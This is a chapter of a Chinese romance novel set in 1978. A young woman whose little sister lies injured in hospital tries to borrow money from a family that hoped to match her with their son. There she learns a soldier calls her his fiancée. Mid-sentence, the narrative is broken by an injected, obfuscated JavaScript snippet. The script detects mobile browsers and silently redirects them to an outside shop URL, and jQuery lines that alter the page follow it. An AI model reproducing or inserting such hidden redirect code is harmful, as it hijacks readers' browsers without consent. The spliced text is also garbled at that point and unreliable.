1978年7月下旬，即便是北方，最高气温也达到三十度。
刚考完语文的柳早顶着炽热阳光，艰难在人群中穿梭，手做蒲扇扇个不停，头上汗珠照常落下，她还在心底盘算下午的数学考试，一道惊雷般的叫喊划破嘈杂。
“柳早，你妹进医院了！”
脑子“嗡”的一声，来不及细想，只匆匆应下“来了”，柳早拎起暂存的大包小包拔腿往外冲。
三天前妹妹柳青还好好拉着她的衣摆说，等考完后蒸鸡蛋羹给她吃。
一栋醒目的三层小楼就在眼前，柳早闷头扎进去，抓住人就问：“刚有没有送来个八九岁的小女孩。”
“二楼左边第三间...”护士话音刚落，又连忙叫住她，“都是病人，跑啥跑！”
柳早脚步一顿，停在敞开的病房门口，消毒水的味道蔓延出来，血腥味、碘伏味令她心脏猛地跳动。
砰—
手里的东西顺着手腕滑下，砸在地上。
她一步一步拨开围观的人，看向病床。
一个七八岁的小女孩，双眼紧闭，脸色比床单还白，头上绷带缠了七八圈，透出几分鲜红的痕迹，上前握住她的手，拔凉拔凉的，没了平日里喊她姐姐的欢快劲。
大开的窗户没有一丝凉风，炙热的阳光，聒噪的蝉鸣、嘈杂的议论声，像一口烧开的锅。
“柳早？”一个中年妇女的声音在背后响起，带着些不安和讶异，“谁叫她来的？”
几个青壮年连连摆手：“可不是我们。”
蹲在另一边的男人猛地站起来，急声催促道：“大侄女？你来干啥，下午不是还有考试吗！”
柳早没有回答，死死盯着领头的大队长，眼眶模糊，嘴唇咬得发白，一字一句：“谁弄的？”
“她自个到水库那边......”
“我妹七岁，”柳早打断他，声音在发抖，却一个字一个字咬得极清楚，“七岁的孩子，大热天，一个人去水库，陈大队长，你摸着良心说话。”
“谁稀得理你！”一个胖婶子翻了个白眼，“我们好心拉你妹上医院，还倒打一耙...”
衣摆被旁边的人扯住，她才不情不愿地闭上嘴。
“吵吵啥呢，”巡视的护士皱着眉走进来，翻着病例本，声音不大，却像是一盆冰水泼下来，“三床的住院费押金和治疗费啥时候交，十五块，今晚凑不齐就搬走廊上去。”
柳皖找遍全身，只拿出八块七毛五，递出去的手都在抖，“马上，同志，我们马上凑...马上能凑齐，别把孩子挪出去。”
护士没接：“这么多人还凑不上钱？”
病房里陷入死寂。
柳皖皱着眉头，有些窘迫。
哥嫂在混乱中丢了性命，父亲被打成“牛鬼蛇神”，妻子在下放来牡丹江的路上生下孩子后撒手人寰，这个从没下过地的男人，在父亲去世后，艰难拉扯两个孩子长大。
“人送到了，我们也不打扰孩子休息。”陈守安忽然出声，带着人匆匆离开病房。
柳早看着床上妹妹苍白的小脸，攥紧拳头，指甲深深掐进掌心，渗出血丝也浑然不觉：“叔，我去找李家帮忙。”
“啥？”柳皖一愣，没反应过来。
“李家有钱，当彩礼也成，当借的也成。”柳早的声音很轻，但异常坚定。
她的大脑里只有一个念头——无论付出什么代价，都要凑齐医药费，保住妹妹的命。
“不成！”柳皖的态度强硬起来，把人拉住。
“青青最重要。”
柳皖手慢慢松开，闭上眼睛，再睁开时，眼眶已经红了，“我回家想想办法，你在这守着你妹，哪儿都别想去！”
“晚饭之前把钱交上来，没多商量的。”护士合上病历本离开。
争执半天的病房终于恢复安静，柳早坐在病床边，看着妹妹毫无血色的小脸，指节泛白。
旁边病床上的老太太看半天，终究忍不住以过来人的身份劝道：“闺女，可别为眼前的事，把一辈子搭进去……”
柳早沉默着坐了半晌，缓缓打开自己的包裹。
拿着水壶到楼道尽头的公共水房，花两毛钱接一壶热水，简单擦去脸上和身上的汗尘与泥点；两条粗黑的麻花辫，被她重新梳得整齐，系上鲜亮的红色发绳，乌黑的发丝柔顺光亮，不见一丝杂乱；只可惜没有换洗的衣裳，洗得褪色的黄衬衣和蓝裤子上还有没擦净的泥点，却丝毫不影响她挺拔的脊背。
她看着斑驳的镜子中那张清秀的脸，愣神片刻，转身出门。
—
李家在纺织厂职工宿舍，厚实的大门、平整的水泥地、红砖瓦房配玻璃窗，和她住的土坯房比起来，像是另一个世界。
柳早在楼道里转上两圈，终于找到几个摇着蒲扇唠嗑的婶子：“婶子，杨德华婶子家在哪？”
“就最大最热闹那家，”婶子上下打量她一眼，又补一句，“奇怪，全凑到今天来找她。”
贴墙的婶子最好心，直接把她领到门口，推门就喊：“德华，有姑娘来找你！”
屋里原本聊得热火朝天的众人瞬间安静下来，纷纷转过头，用好奇的目光打量着柳早，互相递着眼色，猜测她的身份。
杨德华从人堆里起身，脸上堆着笑迎上来：“柳家闺女！来就来，还提什么东西！”她接过柳早手里花一块五买的半斤奶糖，掂了掂，脸上的热络淡半分，转身收进橱柜。
“过来坐，”她递上块西瓜，语气亲昵得像自家人，“是听说建军休探亲假，今天刚回来，想相看相看？”
柳早没接西瓜，努力让自己的声音保持冷静：“婶子，我想借十五块住院费，不是白借，打欠条，年底一定还...”
屋子里又安静了，里屋风扇吱呀吱呀转着。
“十五块？”杨德华的笑容凝固在脸上。
“还没进门就惦记上钱了？”
“成分不好的人家，办事就是不一样……”
“嫂子，我娘家侄女成分好，今年还参加高考！”
七大姑八大姨讨论开，柳早低下头，手心掐出红痕，却没有起身离开。
“建军！”杨德华忽然拔高嗓门。
“咋了？妈，我跟沈同志在商量怎么找
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407063|200571||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人呢！”里屋走出一个年轻人，上身是软塌塌的白色老头衫，肩上搭着汗巾，脚踩拖鞋，手里的西瓜咬了两口，汁水滴答落在水泥地上。
啪嗒—
李建军的目光落在屋中央的柳早身上，瞬间顿住，眼前的姑娘，穿着普通的粗布衣裳，脊背挺得笔直，清秀的面庞上泛着淡淡的红晕，两条辫子上的红绳在日光里格外扎眼。
他大步流星地走到杨德华身边，故作惊讶问：“妈，这妹子是……”
“年前给你相看的，陈家河的柳师傅家孙女。”杨德华语气里带着一丝不情愿。
李建军三两口啃完西瓜，手在裤子上蹭蹭，对着柳早举了个不伦不类的礼：“柳同志好，我叫李建军，现在是陆军第23军60...”
“陈家河？柳承宗师傅？”一道清亮的嗓门突然响起，像这日头里的一缕清风拂过。
斜透进的阳光下，一个穿着洗得发白“的确良”军装的男人站在门框旁，风纪扣扣得严严实实，袖口挽得整整齐齐，裤线笔直如刀。
“是我爷。”柳早抬头，撞进一双深邃的棕色眼眸里。
男人剑眉星目，高耸的鼻梁，头发修剪得整齐，经年锻炼出的肌肉，透过薄薄的军装隐约可见，浑身透露出一股利索劲，身上应当是温和的棉花气息。
“你哥叫？”
“柳刚。”柳早不知道为什么，对着那双眼睛就忍不住说下去，“但是他五年前就失踪了。”
胖婶子眨巴双眼：“你们这是...认识？”
男人看向柳早，声音不大，却像蝉鸣直往耳朵里钻：“认识，未婚妻。”
“沈钧安？未婚妻？”李建军瞪大眼，倒吸一口凉气，死死盯着男人。
“我...未婚妻？”柳早茫然，四周的声音消失不见。
杨德华的嗓门一下拔高到能掀翻屋顶，“未婚妻？柳早，哪有你们家这样做事的！”
“我...”
“柳刚同我定下的。”沈钧安从手里拿出个信封交到柳早手里。
“你不是来找柳刚亲人的吗？”李建军声音发紧，“我未婚妻怎么变成你未婚妻了？”
杨德华气得脸色青一阵白一阵，指着门口：“那你还好意思来我们家借钱？走！”
“妈！”李建军一把按住她的手，转头看看柳早，又剜沈钧安一眼，压低声音，“我这个月的津贴还没用完......柳同志你等一下。”
杨德华面色复杂地看向自家儿子找钱，两眼一闭装看不见说：“出息！你倒是大方，人还认不认你这门亲事都难说！”
“不用麻烦李同志”，沈钧安开口，语气平淡却带着不容拒绝的力量，“我带了柳刚攒的津贴，人命关天，先去医院吧。”
两条辫子甩在背后，李建军伸出的手停在半空，转头看着杨德华，声音里带着说不清道不明的懊恼：“妈，你咋没早两天让我去相看？”
杨德华没理他，死死盯着门口那两道一前一后消失的身影，脸色铁青。
里屋风扇还在吱呀吱呀转，不知是谁小声嘀咕：“那人什么来头？”
没有回答。